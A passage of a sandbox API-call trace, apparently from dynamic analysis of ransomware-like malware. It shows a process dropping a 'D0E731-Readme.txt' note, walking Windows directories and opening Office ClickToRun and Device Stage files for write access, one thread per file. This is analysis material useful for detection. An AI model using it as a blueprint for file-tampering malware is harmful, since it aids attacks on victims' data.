_Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0177.154] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0177.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95bd8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7608) returned 1 [0177.154] RtlExitUserThread (Status=0x1) Thread: id = 2569 os_tid = 0x1224 [0177.155] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20 [0177.156] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 0 [0177.156] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 0 [0177.157] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d610) returned 1 [0177.157] RtlExitUserThread (Status=0x0) Thread: id = 2570 os_tid = 0x1228 [0177.158] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash")) returned 0x20 [0177.159] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash", dwFileAttributes=0x20) returned 0 [0177.159] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.159] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash", dwFileAttributes=0x20) returned 0 [0177.159] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4490) returned 1 [0177.159] RtlExitUserThread (Status=0x0) Thread: id = 2571 os_tid = 0x122c [0177.160] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml")) returned 0x20 [0177.161] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", dwFileAttributes=0x20) returned 0 [0177.161] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.161] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", dwFileAttributes=0x20) returned 0 [0177.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cb20) returned 1 [0177.161] RtlExitUserThread (Status=0x0) Thread: id = 2572 os_tid = 0x1230 [0177.163] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash")) returned 0x20 [0177.163] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash", dwFileAttributes=0x20) returned 0 [0177.164] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash", dwFileAttributes=0x20) returned 0 [0177.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ce58) returned 1 [0177.164] RtlExitUserThread (Status=0x0) Thread: id = 2573 os_tid = 0x1234 [0177.165] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x20 [0177.166] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0177.166] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.166] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0177.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d1b0) returned 1 [0177.166] RtlExitUserThread (Status=0x0) Thread: id = 2574 os_tid = 0x123c [0177.167] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20 [0177.168] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 0 [0177.168] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.168] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 0 [0177.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d2c8) returned 1 [0177.169] RtlExitUserThread (Status=0x0) Thread: id = 2575 os_tid = 0x1240 [0177.170] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash")) returned 0x20 [0177.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash", dwFileAttributes=0x20) returned 0 [0177.170] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\s321033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash", dwFileAttributes=0x20) returned 0 [0177.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4df0) returned 1 [0177.170] RtlExitUserThread (Status=0x0) Thread: id = 2576 os_tid = 0x1244 [0177.171] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml")) returned 0x20 [0177.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", dwFileAttributes=0x20) returned 0 [0177.171] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", dwFileAttributes=0x20) returned 0 [0177.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c6c0) returned 1 [0177.172] RtlExitUserThread (Status=0x0) Thread: id = 2577 os_tid = 0x1248 [0177.173] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash")) returned 0x20 [0177.174] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash", dwFileAttributes=0x20) returned 0 [0177.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.174] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash", dwFileAttributes=0x20) returned 0 [0177.174] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85418) returned 1 [0177.174] RtlExitUserThread (Status=0x0) Thread: id = 2578 os_tid = 0x124c [0177.175] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x20 [0177.176] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0177.176] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.177] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0177.177] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d698) returned 1 [0177.177] RtlExitUserThread (Status=0x0) Thread: id = 2579 os_tid = 0x1250 [0177.178] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x80 [0177.180] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0177.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.180] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", dwFileAttributes=0x80) returned 0 [0177.180] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d098) returned 1 [0177.180] RtlExitUserThread (Status=0x0) Thread: id = 2580 os_tid = 0x1254 [0177.180] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x80 [0177.183] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0177.183] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.183] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", dwFileAttributes=0x80) returned 0 [0177.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cc48) returned 1 [0177.183] RtlExitUserThread (Status=0x0) Thread: id = 2581 os_tid = 0x1258 [0177.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98068 [0177.188] wcscpy (in: _Dest=0x2f98068, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0177.188] wcscat (in: _Dest=0x2f98068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\" [0177.188] wcscat (in: _Dest=0x2f98068, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*" [0177.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30237f8 [0177.189] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80860 [0177.189] wcscmp (_String1=".", _String2=".") returned 0 [0177.189] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.189] wcscmp (_String1="..", _String2=".") returned 1 [0177.189] wcscmp (_String1="..", _String2="..") returned 0 [0177.189] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1 [0177.189] wcscmp (_String1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", _String2=".") returned 1 [0177.189] wcscmp (_String1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", _String2="..") returned 1 [0177.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe2760 [0177.189] wcscpy (in: _Dest=0x2fe2760, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0177.189] wcscat (in: _Dest=0x2fe2760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\" [0177.189] wcscat (in: _Dest=0x2fe2760, _Source="{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe2760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0177.612] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0177.612] FindClose (in: hFindFile=0x2f80860 | out: hFindFile=0x2f80860) returned 1 [0177.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30237f8) returned 1 [0177.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98068) returned 1 [0177.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f973d8) returned 1 [0177.612] RtlExitUserThread (Status=0x0) Thread: id = 2582 os_tid = 0x125c [0177.191] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20 [0177.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0177.192] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0177.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f972f8) returned 1 [0177.192] RtlExitUserThread (Status=0x0) Thread: id = 2583 os_tid = 0x1260 [0177.193] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20 [0177.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device 